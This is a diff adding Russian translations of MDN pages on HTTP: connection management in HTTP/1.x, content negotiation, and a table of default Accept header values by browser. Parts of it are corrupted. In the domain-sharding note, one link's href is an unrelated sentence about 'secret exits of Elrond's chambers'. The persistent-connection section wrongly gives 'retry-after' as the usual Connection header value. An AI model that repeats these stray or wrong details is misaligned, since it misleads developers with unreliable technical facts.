+<p>Conditional requests are a key feature of HTTP, and allow the building of efficient and complex applications. For caching or resuming downloads, the only work required for webmasters is to configure the server correctly; setting correct etags in some environments can be tricky. Once achieved, the browser will serve the expected conditional requests.</p>
+
+<p>For locking mechanisms, it is the opposite: Web developers need to issue a request with the proper headers, while webmasters can mostly rely on the application to carry out the checks for them.</p>
+
+<p>In both cases it's clear, conditional requests are a fundamental feature behind the Web.</p>
diff --git a/files/ru/web/http/connection_management_in_http_1.x/index.html b/files/ru/web/http/connection_management_in_http_1.x/index.html
new file mode 100644
index 0000000000..16ce498108
--- /dev/null
+++ b/files/ru/web/http/connection_management_in_http_1.x/index.html
@@ -0,0 +1,84 @@
+---
+title: Connection management in HTTP/1.x
+slug: Web/HTTP/Connection_management_in_HTTP_1.x
+translation_of: Web/HTTP/Connection_management_in_HTTP_1.x
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">Управление соединением является ключевой темой HTTP: открытие и поддержка соединения оказывает значительное влияние на производительность веб-сайтов и веб-приложений. В HTTP/1.x имеются следующие модели: <em>краткосрочные соединения, постоянные соединения и конвейерная обработка HTTP (</em><em>HTTP pipelining). </em></p>
+
+<p>В качестве транспортного протокола, обеспечивающего связь между клиентом и сервером, HTTP по большей части использует TCP. Это краткосрочные (short-lived) соединения: при каждой отправке запроса открывается новое соединение, которое закрывается после того, как ответ получен.</p>
+
+<p>Такой модели присущи проблемы в отношении производительности: ресурсы приходится затрачивать на открытие каждого соединения TCP. Клиенту и сервером необходимо обмениваться несколькими сообщениями. При отправке каждого запроса приходится считаться с запаздыванием и пропускной способностью сети. Современным веб-страницам требуется выполнять множество (десятки) запросов для передачи необходимой информации, что делает данную модель неэффективной.</p>
+
+<p>В HTTP/1.1 были созданы две новые модели.  Модель постоянного соединения оставляет соединение открытым между последовательными запросами, экономя время, требуемое для открытия новых соединений. Модель конвейерной обработки HTTP делает следующий шаг - она позволяет отсылать несколько запросов подряд, не дожидаясь ответа, что существенно сокращает время ожидания в сети.</p>
+
+<p><img alt="Compares the performance of the three HTTP/1.x connection models: short-lived connections, persistent connections, and HTTP pipelining." src="https://mdn.mozillademos.org/files/13727/HTTP1_x_Connections.png" style="height: 538px; width: 813px;"></p>
+
+<div class="note">
+<p>В HTTP/2 внесены дополнительные модели управления соединением.</p>
+</div>
+
+<p>Важно отметить, что управление соединением в HTTP применяется к соединению между двумя последовательными узлами, и является пошаговым (<a href="/en-US/docs/Web/HTTP/Headers#hbh">hop-by-hop</a>) а не "конец-к-концу"  (<a href="/en-US/docs/Web/HTTP/Headers#e2e">end-to-end)</a>. Модель, используемая для соединения клиента с его первым прокси, может отличаться от модели соединения между прокси и конечным сервером (или любым из промежуточных серверов). Заголовки HTTP, вовлеченные в определение модели соединения, типа HTTPHeader("Connection")}} и {{HTTPHeader("Keep-Alive")}}, являются <a href="/en-US/docs/Web/HTTP/Headers#hbh">пошаговыми</a> заголовками, значения которых могут изменяться промежуточными узлами.</p>
+
+<h2 id="Краткосрочные_соединения_Short-lived_connections">Краткосрочные соединения (Short-lived connections)</h2>
+
+<p>Исходной моделью в HTTP, в HTTP/1.0 она же является моделью по умолчанию, являются <em>краткосрочные соединения</em> <em>(short-lived connections)</em>. Для каждого HTTP запроса используется отдельное соединение; это означает, что "рукопожатие" TCP происходит перед каждым из запросов HTTP, идущих один за другим.</p>
+
+<p>TCP-рукопожатие само по себе затратно по времени, но TCP-соединения приспособились справляются с этой нагрузкой, превращаясь в устойчивые (или теплые) соединения. Краткосрочные соединения не используют это полезное свойство TCP, так что эффективность оказывается ниже оптимальной из-за того что передача осуществляется по новому, холодному соединению.</p>
+
+<p>Данная модель является моделью по умолчанию в HTTP/1.0 (при отсутствии заголовка {{HTTPHeader("Connection")}}, или когда его значением является<code> close</code>). В HTTP/1.1 такая модель используется только если заголовок {{HTTPHeader("Connection")}} посылается со значением <code>close</code>.</p>
+
+<div class="note">
+<p>Если речь не идет об очень старой, не поддерживающей постоянные соединения, системе, данную модель использовать нет смысла.</p>
+</div>
+
+<h2 id="Постоянные_соединения">Постоянные соединения</h2>
+
+<p>Краткосрочные соединения имеют два больших недостатка: требуется значительное время на установку нового соединения, и то, что эффективность TCP-соединения улучшается только по прошествии некоторого времени от начала его использования (теплое соединение). Для решения этих проблем была разработана концепция <em>постоянного соединения (persistent connection</em>), еще до появления HTTP/1.1. Его также называют <em>соединением keep-alive</em>.</p>
+
+<p>Постоянным называют соединение, которое остается открытым некоторый период времени и может быть использовано для нескольких запросов, благодаря чему отпадает необходимость в новых рукопожатиях TCP и используются средства повышения производительности TCP. Это соединение остается открытым не навсегда: праздные соединения закрываются по истечению некоторого времени (для задания минимального времени, на протяжении которого соединение должно оставаться открытым, сервер может использовать заголовок {{HTTPHeader("Keep-Alive")}}).</p>
+
+<p>У постоянных соединений есть свои недочеты; даже работая вхолостую, они потребляют ресурсы сервера, а при высокой нагрузке могут проводиться {{glossary("DoS attack", "DoS attacks")}}. В таких случаях большую эффективность могут обеспечить не постоянные соединения, которые закрываются как только освободятся.</p>
+
+<p>Соединеня HTTP/1.0 по умолчанию не являются постоянными. Для превращения их в постоянные надо присвоить заголовку {{HTTPHeader("Connection")}} значение, отличное от <code>close</code> - обычно <code>retry-after.</code></p>
+
+<p>В HTTP/1.1 соединения являются постоянными по умолчанию, так что этот заголовок больше не требуется (но часто добавляется в качестве защитной меры на случай, если потребуется откат к HTTP/1.0).</p>
+
+<h2 id="Конвейерная_обработка_в_HTTP_HTTP_pipelining">Конвейерная обработка в HTTP (HTTP pipelining)</h2>
+
+<div class="note">
+<p>Конвейерная обработка HTTP в современных браузерах не активирована по умолчанию:</p>
+
+<ul>
+ <li><a href="https://en.wikipedia.org/wiki/Proxy_server">Прокси</a> с багами все еще встречаются, что приводит к странным и непредсказуемым явлениям, которые веб-разработчикам трудно предсказать и диагносцировать.</li>
+ <li>Конвейерную обработку сложно правильно реализовать: объем передаваемых ресурсов, используемая <a href="https://en.wikipedia.org/wiki/Round-trip_delay_time">RTT</a> и эффективная пропускная способность имеют непосредственное влияние на те улучшения, что обеспечиваются конвейерной обработкой. Конвейерная обработка HTTP, таким образом, дает существенное улучшение не во всех случаях.</li>
+ <li>Конвейерная обработка подвержена проблеме <a href="https://en.wikipedia.org/wiki/Head-of-line_blocking">HOL</a>.</li>
+</ul>
+
+<p>По этим причинам в HTTP/2 на смену конвейерной обработке пришел новый алгоритм, <em>мультиплексность (multiplexing</em>).</p>
+</div>
+
+<p>По умолчанию запросы <a href="/en/HTTP" title="en/HTTP">HTTP</a> идут последовательно. Новый запрос выдается только после того, как получен ответ на предыдущий. Из-за запаздываний в сети и ограничений на пропускную способность это может приводить к тому, что сервер <em>увидит </em>следующий запрос с существенной задержкой.</p>
+
+<p>Конвейерная обработка это процесс отсылки последовательных запросов по одному постоянному соединению не дожидаясь ответа. Таким образом избегают задержки соединения. Теоретически, производительность можно было бы повысить также за счет упаковки двух запросов HTTP в одно и то же сообщение TCP. Типичный <a href="https://en.wikipedia.org/wiki/Maximum_segment_size">MSS</a> (Maximum Segment Size - Максимальный размер сегмента) достаточно велик, чтобы вместить несколько простых запросов, хотя требования на объем запросов HTTP продолжают расти.</p>
+
+<p>Не все типы запросов HTTP позволяют конвейерную обработку: только методы {{glossary("idempotent")}}, а именно {{HTTPMethod("GET")}}, {{HTTPMethod("HEAD")}}, {{HTTPMethod("PUT")}} и {{HTTPMethod("DELETE")}}, можно перезапускать безопасно: в случае сбоя содержимое конвейерной передачи можно просто повторить.</p>
+
+<p>В наши дни любой удовлетворяющий требованиям HTTP/1.1 прокси или сервер должен поддерживать конвейерную обработку, хотя на практике возникает множество ограничений, поэтому ни один из современных браузеров не активирует этот режим по умолчанию.</p>
+
+<h2 id="Доменное_разделение_Domain_sharding">Доменное разделение (Domain sharding)</h2>
+
+<div class="note">
+<p>Не используйте этот устаревший метод без крайней необходимости; вместо этого переходите на HTTP/2. В HTTP/2 доменное разделение больше не требуется: соединение HTTP/2 соединение прекрасно работает с параллельными неприоритезированными запросами. Доменное разделение даже вредит производительности. Большинство реализаций HTTP/2 использует метод, называемый <a href="I wonder if it's related to the nobash/nobreak/nopick secret exit s of Elrond's chambers.">слиянием соединений (connection coalescing</a>) для возврата конечного доменного разделения.</p>
+</div>
+
+<p>Поскольку соединение HTTP/1.x является последовательными запросами, даже без упорядочивания, оно не может быть оптимальным без наличия достаточно большой пропускной способности. Браузеры находят решение в открытии нескольких соедининий к каждому домену с отсылкой параллельных запросов. По умолчанию это когда-то было 2-3 соединения, но сейчас их число возросло примерно до 6 параллельных соединений. При попытке использовать большее количество есть риск спровоцировать защиту от <a href="/en-US/docs/Glossary/DOS_attack">DoS</a> со стороны сервера.</p>
+
+<p>Если сервер хочет иметь более быстрый ответ от веб-сайта или приложения, он может открыть больше соединений. Например, вместо того, чтобы иметь все ресурсы на одном домене, скажем, <code>www.example.com</code>, он может распределить их по нескольким доменам, <code>www1.example.com</code>, <code>www2.example.com</code>, <code>www3.example.com</code>. Каждый из этих доменов разрешается на том же сервере, и веб-браузер откроет 6 соединений к каждому (в нашем примере число соединений возрастет до 18). Этот метод называют доменным разделением (<em>domain sharding)</em>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13783/HTTPSharding.png" style="height: 727px; width: 463px;"></p>
+
+<h2 id="Заключение">Заключение</h2>
+
+<p>Улучшение управлением соединениями дает существенное увеличение производительности в HTTP. В HTTP/1.1 и HTTP/1.0 использование постоянного соединения – по крайней мере пока оно не начинает работать вхолостую – приводит к лучшей производительности. Однако, проблемы с конвейерной обработкой привели к созданию более совершенных способов управления соединением, реализованными в HTTP/2.</p>
diff --git a/files/ru/web/http/content_negotiation/index.html b/files/ru/web/http/content_negotiation/index.html
new file mode 100644
index 0000000000..3b9760e25f
--- /dev/null
+++ b/files/ru/web/http/content_negotiation/index.html
@@ -0,0 +1,131 @@
+---
+title: Согласование контента
+slug: Web/HTTP/Content_negotiation
+tags:
+  - Согласование контента
+translation_of: Web/HTTP/Content_negotiation
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary">В <a href="/en-US/docs/Glossary/HTTP">HTTP</a>, <em><strong>согласование контента</strong></em> - это механизм используемый для отображения различных представлений ресурса по тому же URI, так чтобы клиент мог указать, что лучше подходит для пользователя (например, желаемый язык документа, формат изображения, или кодировку текста).</p>
+
+<h2 id="Принципы_согласования_контента">Принципы согласования контента</h2>
+
+<p>Конкретный документ называется <em>ресурсом</em>. Когда клиент хочет его получить, он запрашивает его используя его URL. Сервер использует этот URL, чтобы выбрать один из возможных вариантов - каждый вариант, назывется <em>представлением</em>, – и возвращает этот вариант клиенту. Ресурс в общем, а также каждое из представлений, имеют определенный URL. Выбор конкретного представления при вызове ресурса определяется механизмом <em>согласования контента</em> и существует несколько способов согласования между клиентом и сервером.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16156/HTTPNego_ru.png" style="height: 311px; width: 767px;"></p>
+
+<p>Определение наиболее подходящего представления производится с помощью одного из двух механизмов:</p>
+
+<ul>
+ <li>Конкретные <a href="/en-US/docs/Web/HTTP/Headers">HTTP-заголовки </a> клиента (<em>согласование на основе сервера </em> или <em>упреждающее согласование</em>), что является стандартным способом согласования определенного вида ресурса.</li>
+ <li><a href="/en-US/docs/Web/HTTP/Status">HTTP коды ответа</a> {{HTTPStatus("300")}} (Multiple Choices) или {{HTTPStatus("406")}} (Not Acceptable) (<em>согласование на основе агента</em> или <em>реактивное согласование</em>), используемые в качестве резервных механизмов.</li>
+</ul>
+
+<p>На протяжении многих лет предлагались и другие предложения по согласованию содержания, такие как <em>прозрачное согласование контента</em> и <code>Alternates</code> заголовок. Они не смогли получить достаточной поддержки и были заброшены.</p>
+
+<h2 id="Согласование_на_основе_сервера">Согласование на основе сервера</h2>
+
+<p>В <em>согласовании на стороне сервера</em> или <em>упреждающем согласовании</em>, браузер (или любое другое клиентское приложение) посылае несколько заголовков HTTP наряду с URL. Эти заголовки описывают предпочтения пользователя. Сервер использует их в качестве посказок для внутреннего алгоритма, который выбирает наиболее подходящее представление ресурса, чтобы предоставить его клиенту. Реализация алгоритма в стандарт не входит и полностью зависит от сервера. Для примера, смотрите <a class="external" href="http://httpd.apache.org/docs/2.2/en/content-negotiation.html#algorithm">алгоритм согласования Apache 2.2</a>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13791/HTTPNegoServer.png" style="height: 380px; width: 767px;"></p>
+
+<p>Стандарт HTTP/1.1 определяет список стандартных заголовков которые используются в этом механизме согласования – ({{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Language")}}). Хотя, строго говоря, {{HTTPHeader("User-Agent")}} не находится в этом списке, в некоторых случаях он используется, чтобы послать определённое представление запрошенного ресурса, несмотря на то, что это и не является хорошей практикой. Сервер использует заголовок {{HTTPHeader("Vary")}} чтобы обозначить, какие заголовки он использовал для согласования (точнее, ассоциированные с ними заголовки ответа), чтобы <a href="/en-US/docs/Web/HTTP/Caching">кэширование</a> работало оптимально.</p>
+
+<p>В дополнение к этим, есть предложение добавить больше заголовков в список доступным, так называемые Подсказки Клиента (Client Hints). Они будут предоставлять информацио о типе устройства на котором они используются (например, будет это настольный компьютер или мобильное устройство).</p>
+
+<p>Согласование на стороне сервера является самым популярным способом согласования контента, но у него есть несколько недостатков:</p>
+
+<ul>
+ <li>У сервера нет всей информации о клиентском приложении. Даже с расширением Client Hints сервер не может знать всех возможностей браузера. В отличие от реактивного согласования, где клиент совершает выбор, выбор сервера всегда остается в каком-то смысле произвольным.</li>
+ <li>Информация, полученная от клиента, довольно подробная (сжатие заголовков протокола HTTP/2 отчасти решает эту проблему) и является источником утечки конфиденциальности (идентификация по HTTP).</li>
+ <li>С увеличением количества представлений падает эффективность общих кэшэй и усложняется реализация сервера.</li>
+</ul>
+
+<h3 id="Заголовок_Accept">Заголовок <code>Accept</code></h3>
+
+<p>Заголовок {{HTTPHeader("Accept")}} перечисляет MIME типы содержимого ресурса, которые клиент желает получить. Он представляет список MIME типов, разделенный запятыми, каждый из которых, опционально, снабжён коэффицентом желательности – параметром, определяющим относительный уровень желательности среди разных MIME типов.</p>
+
+<p>{{HTTPHeader("Accept")}} определяется браузером, или любым другим клиентом, и может изменяться в зависимости от контекста, например, при получении страницы HTML, изображения, видео или скрипта – его содержимое будет различаться при запросе документа из строки адреса, через тег {{ HTMLElement("img") }}, {{ HTMLElement("video") }} или {{ HTMLElement("audio") }}. Браузеры могут использовать любое значение, которые они считают наиболее подходящим; можете ознакомиться со списком <a href="/en-US/docs/Web/HTTP/Content_negotiation/List_of_default_Accept_values">значений по умолчанию, используемых распространенными браузерами</a>.</p>
+
+<h3 id="Заголовок_Accept-CH_experimental_inline">Заголовок <code>Accept-CH</code> {{experimental_inline}}</h3>
+
+<div class="note">
+<p>Перед вами <strong>экспериментальная</strong> технология под названием <em>Client Hints (Подсказки Клиента)</em>, реализуемая на данный момент только в Chrome 46 и более поздних версиях</p>
+</div>
+
+<p>Экспериментальный заголовок {{HTTPHeader("Accept-CH")}} перечисляет конфигурфцию клиента, которая может быть использована сервером для выбора подходящего ответа. Определённые значения:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Value</th>
+   <th scope="col">Meaning</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>DPR</code></td>
+   <td>Указывает соотношение логических пикселей к физическим на устройстве.</td>
+  </tr>
+  <tr>
+   <td><code>Viewport-Width</code></td>
+   <td>Указывает ширину окна отображения.</td>
+  </tr>
+  <tr>
+   <td><code>Width</code></td>
+   <td>Указывает ширину ресурса в физических пикселях (другими словами собственный размер изображения).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Заголовок_Accept-Charset">Заголовок <code>Accept-Charset</code></h3>
+
+<p>Заголовок {{HTTPHeader("Accept-Charset")}} указывает серверу какие кодировки текста поддерживает клиент. По-традиции он имеет своё значение для каждой локали браузера, например, <code>ISO-8859-1,utf-8;q=0.7,*;q=0.7</code> установлен для западноевропейской локали.</p>
+
+<p>В настоящее время, UTF-8 имеет серьёзную поддержку, является предпочтительным способом кодировки текста и гарантирует лучшую конфеденциальность за счет уменьшения разнообразия конфигураций, поэтому большая часть браузеров пропускает заголовок <code>Accept-Charset</code>: Internet Explorer 8, Safari 5, Opera 11 и Firefox 10 отказались от этого заголовка в запросах.</p>
+
+<h3 id="Заголовок_Accept-Encoding">Заголовок <code>Accept-Encoding</code></h3>
+
+<p>The {{HTTPHeader("Accept-Encoding")}} header defines the acceptable content-encoding (supported compressions). The value is a q-factor list (e.g.: <code>br, gzip;q=0.8</code>) that indicates the priority of the encoding values. The default value <code>identity</code> is at the lowest priority (unless otherwise declared).</p>
+
+<p>Compressing HTTP messages is one of the most important ways to improve the performance of a Web site, it shrinks the size of the data transmitted and makes better use of the available bandwidth; browsers always send this header and the server should be configured to abide to it and to use compression.</p>
+
+<h3 id="Заголовок_Accept-Language">Заголовок <code>Accept-Language</code></h3>
+
+<p>The {{HTTPHeader("Accept-Language")}} header is used to indicate the language preference of the user. It is a list of values with quality factors (like: <code>"de, en;q=0.7</code>"). A default value is often set according the language of the graphical interface of the user agent, but most browsers allow to set different language preferences.</p>
+
+<p>Due to the <a href="https://www.eff.org/deeplinks/2010/01/primer-information-theory-and-privacy">configuration-based entropy</a> increase, a modified value can be used to fingerprint the user, it is not recommended to change it and a Web site cannot trust this value to reflect the actual wish of the user. Site designers must not be over-zealous by using language detection via this header as it can lead to a poor user experience:</p>
+
+<ul>
+ <li>They should always provide a way to overcome the server-chosen language, e.g., by providing a language menu on the site. Most user-agents provide a default value for the <code>Accept-Language</code> header, adapted to the user interface language and end users often do not modify it, either by not knowing how, or by not being able to do it, as in an Internet café for instance.</li>
+ <li>Once a user has overridden the server-chosen language, a site should no longer use language detection and should stick with the explicitly-chosen language. In other words, only entry pages of a site should select the proper language using this header.</li>
+</ul>
+
+<h3 id="Заголовок_User-Agent">Заголовок <code>User-Agent</code></h3>
+
+<div class="note">
+<p>Though there are legitimate uses of this header for selecting content, <a href="/en-US/docs/Web/HTTP/Browser_detection_using_the_user_agent">it is considered bad practice</a> to rely on it to define what features are supported by the user agent.</p>
+</div>
+
+<p>The {{HTTPHeader("User-Agent")}} header identifies the browser sending the request. This string may contain a space-separated list of <em>product tokens</em> and <em>comments</em>.</p>
+
+<p>A <em>product token</em> is a name followed by a '<code>/</code>' and a version number, like <code>Firefox/4.0.1</code>. There may be as many of them as the user-agent wants. A <em>comment</em> is a free string delimited by parentheses. Obviously parentheses cannot be used in that string. The inner format of a comment is not defined by the standard, though several browser put several tokens in it, separated by '<code>;</code>'.</p>
+
+<h3 id="The_Vary_response_header">The <code>Vary</code> response header</h3>
+
+<p>In opposition to the previous <code>Accept-*</code> headers which are sent by the client, the {{HTTPHeader("Vary")}} HTTP header is sent by the web server in its response. It indicates the list of headers used by the server during the server-driven content negotiation phase. The header is needed in order to inform the cache of the decision criteria so that can reproduce it, allowing the cache to be functional while preventing serving erroneous content to the user.</p>
+
+<p>The special value of '<code>*</code>' means that the server-driven content negotiation also uses information not conveyed in a header to choose the appropriate content.</p>
+
+<p>The <code>Vary</code> header was added in the version 1.1 of HTTP and is necessary in order to allow caches to work appropriately. A cache, in order to work with agent-driven content negotiation, needs to know which criteria was used by the server to select the transmitted content. That way, the cache can replay the algorithm and will be able to serve acceptable content directly, without more request to the server. Obviously, the wildcard '<code>*</code>' prevents caching from occurring, as the cache cannot know what element is behind it.</p>
+
+<h2 id="Согласование_на_основе_агента">Согласование на основе агента</h2>
+
+<p>Server-driven negotiation suffers from a few downsides: it doesn't scale well. There is one header per feature used in the negotiation. If you want to use screen size, resolution or other dimensions, a new HTTP header must be created. Sending of the headers must be done on every request. This is not too problematic with few headers, but with the eventual multiplications of them, the message size would lead to a decrease in performance. The more precise headers are sent, the more entropy is sent, allowing for more HTTP fingerprinting and corresponding privacy concern.</p>
+
+<p>From the beginnings of HTTP, the protocol allowed another negotiation type: <em>agent-driven negotiation</em> or <em>reactive negotiation</em>. In this negotiation, when facing an ambiguous request, the server sends back a page containing links to the available alternative resources. The user is presented the resources and choose the one to use.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/13795/HTTPNego3.png"></p>
+
+<p>Unfortunately, the HTTP standard does not specify the format of the page allowing to choose between the available resource, which prevents to easily automatize the process. Besides falling back to the <em>server-driven negotiation</em>, this method is almost always used in conjunction with scripting, especially with JavaScript redirection: after having checked for the negotiation criteria, the script performs the redirection. A second problem is that one more request is needed in order to fetch the real resource, slowing the availability of the resource to the user.</p>
diff --git a/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
new file mode 100644
index 0000000000..043d2c19c0
--- /dev/null
+++ b/files/ru/web/http/content_negotiation/list_of_default_accept_values/index.html
@@ -0,0 +1,256 @@
+---
+title: Используемые по умолчанию значения заголовка Accept
+slug: Web/HTTP/Content_negotiation/List_of_default_Accept_values
+tags:
+  - HTTP
+  - Reference
+  - Заголовок Accept
+  - Согласование контента
+translation_of: Web/HTTP/Content_negotiation/List_of_default_Accept_values
+---
+<div>{{HTTPSidebar}}</div>
+
+<p><span class="seoSummary">В этой статье описывается, какие значения используются в HTTP-заголовке <code><a href="/en-US/docs/Web/HTTP/Headers/Accept">Accept</a></code> по умолчанию в зависимости от конкретного запроса и версии браузера.</span></p>
+
+<h2 id="Значения_по_умолчанию">Значения по умолчанию</h2>
+
+<p>Здесь приведены значения, которые отправляются, когда нет никакой уточняющей информации. Обратите внимание, что все браузеры добавляют MIME-тип <code>*/*</code>, чтобы были охвачены все возможные варианты. Обычно значения имеют такой вид, когда запросы выполняются через адресную строку или через HTML-элемент {{HTMLElement("a")}}.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Агент пользователя</th>
+   <th>Значение</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>
+    <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code> (начиная с Firefox 66)<br>
+     <br>
+     <code>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8</code> (в Firefox 65)<br>
+     <br>
+     <code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code> (в более ранних версиях)</p>
+   </td>
+   <td>В Firefox до версии 65 включительно значение можно изменить с помощью параметра <a class="external" href="http://kb.mozillazine.org/Network.http.accept.default" title="http://kb.mozillazine.org/Network.http.accept.default"><code>network.http.accept.default</code></a> (см. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l1750" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers">исходный код</a>).</td>
+  </tr>
+  <tr>
+   <td>Safari, Chrome</td>
+   <td>
+    <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8</code></p>
+   </td>
+   <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#24" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers">исходный код</a></td>
+  </tr>
+  <tr>
+   <td>Safari 5</td>
+   <td>
+    <p><code>text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</code></p>
+   </td>
+   <td>Значение улучшено по сравнению с прежними вариантами заголовка <code>Accept</code>: MIME-тип <code>image/png</code> уже не указывается как более приоритетный, чем <code>text/html</code>.</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 8</td>
+   <td><code>image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+  <tr>
+   <td>Edge</td>
+   <td><code>text/html, application/xhtml+xml, image/jxr, */*</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Opera</td>
+   <td><code>text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1</code></td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_изображений">Значения для изображений</h2>
+
+<p>Если запрашивается изображение, например через HTML-элемент {{HTMLElement("img")}}, агент пользователя часто задает уточненный список подходящих MIME-типов.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Агент пользователя</th>
+   <th>Значение</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>Firefox</td>
+   <td>
+    <p><code>image/webp,*/*</code> (начиная с Firefox 65)<br>
+     <code>*/*</code> (начиная с Firefox 47)<br>
+     <code>image/png,image/*;q=0.8,*/*;q=0.5</code> (в более ранних версиях)</p>
+   </td>
+   <td>Значение можно изменить с помощью параметра <code>image.http.accept</code>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/modules/libpref/init/all.js#l4735" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Safari</td>
+   <td><code>*/*</code></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td><code>image/webp,image/apng,image/*,*/*;q=0.8</code></td>
+   <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/content/renderer/loader/web_url_loader_impl.cc#99" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer до версии 8 включительно</td>
+   <td><code>*/*</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/ieinternals/ie-and-the-accept-header" title="http://blogs.msdn.com/b/ieinternals/archive/2009/07/01/ie-and-the-accept-header.aspx">IE and the Accept Header</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+  <tr>
+   <td>Internet Explorer 9</td>
+   <td><code>image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5</code></td>
+   <td>См. запись <a class="external" href="https://docs.microsoft.com/en-us/archive/blogs/fiddler/fiddler-and-the-ie9-release-candidate" title="http://blogs.msdn.com/b/fiddler/archive/2011/02/10/fiddler-is-better-with-internet-explorer-9.aspx">Fiddler is better with Internet Explorer 9</a> в блоге MSDN под названием IEInternals.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_видео">Значения для видео</h2>
+
+<p>Если запрашивается видео через HTML-элемент {{HTMLElement("video")}}, в большинстве браузеров используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Агент пользователя</th>
+   <th>Значение</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>Firefox до версии 3.6</td>
+   <td><em>Не поддерживается для элемента {{HTMLElement("video")}}.</em></td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>Firefox начиная с версии 3.6</td>
+   <td><code>video/webm,video/ogg,video/*;q=0.9,application/ogg;q=0.7,audio/*;q=0.6,*/*;q=0.5</code></td>
+   <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">страницу ошибки 489071</a>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLVideoElement.cpp#l136" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Chrome</td>
+   <td><code>*/*</code></td>
+   <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer до версии 8 включительно</td>
+   <td><em>Не поддерживается для элемента {{HTMLElement("video")}}</em>.</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Значения_для_аудиофайлов">Значения для аудиофайлов</h2>
+
+<p>Если запрашивается аудиофайл, например через HTML-элемент {{HTMLElement("audio")}}, в большинстве браузеров используется уточненное значение.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Агент пользователя</th>
+   <th>Значение</th>
+   <th>Комментарий</th>
+  </tr>
+  <tr>
+   <td>Firefox начиная с версии 3.6</td>
+   <td><code>audio/webm,audio/ogg,audio/wav,audio/*;q=0.9,application/ogg;q=0.7,video/*;q=0.6,*/*;q=0.5</code></td>
+   <td>См. <a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=489071" title="https://bugzilla.mozilla.org/show_bug.cgi?id=489071">страницу ошибки 489071</a>. <a class="external" href="https://hg.mozilla.org/mozilla-central/file/tip/dom/html/HTMLAudioElement.cpp#l81" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Safari, Chrome</td>
+   <td><code>*/*</code></td>
+   <td><a class="external" href="https://chromium.googlesource.com/chromium/src.git/+/master/services/network/loader_util.cc#27" title="http://www.newmediacampaigns.com/page/browser-rest-http-accept-headers"><span style="font-size: x-small;">исходный код</span></a></td>
+  </tr>
+  <tr>
+   <td>Internet Explorer до версии 8 включительно</td>
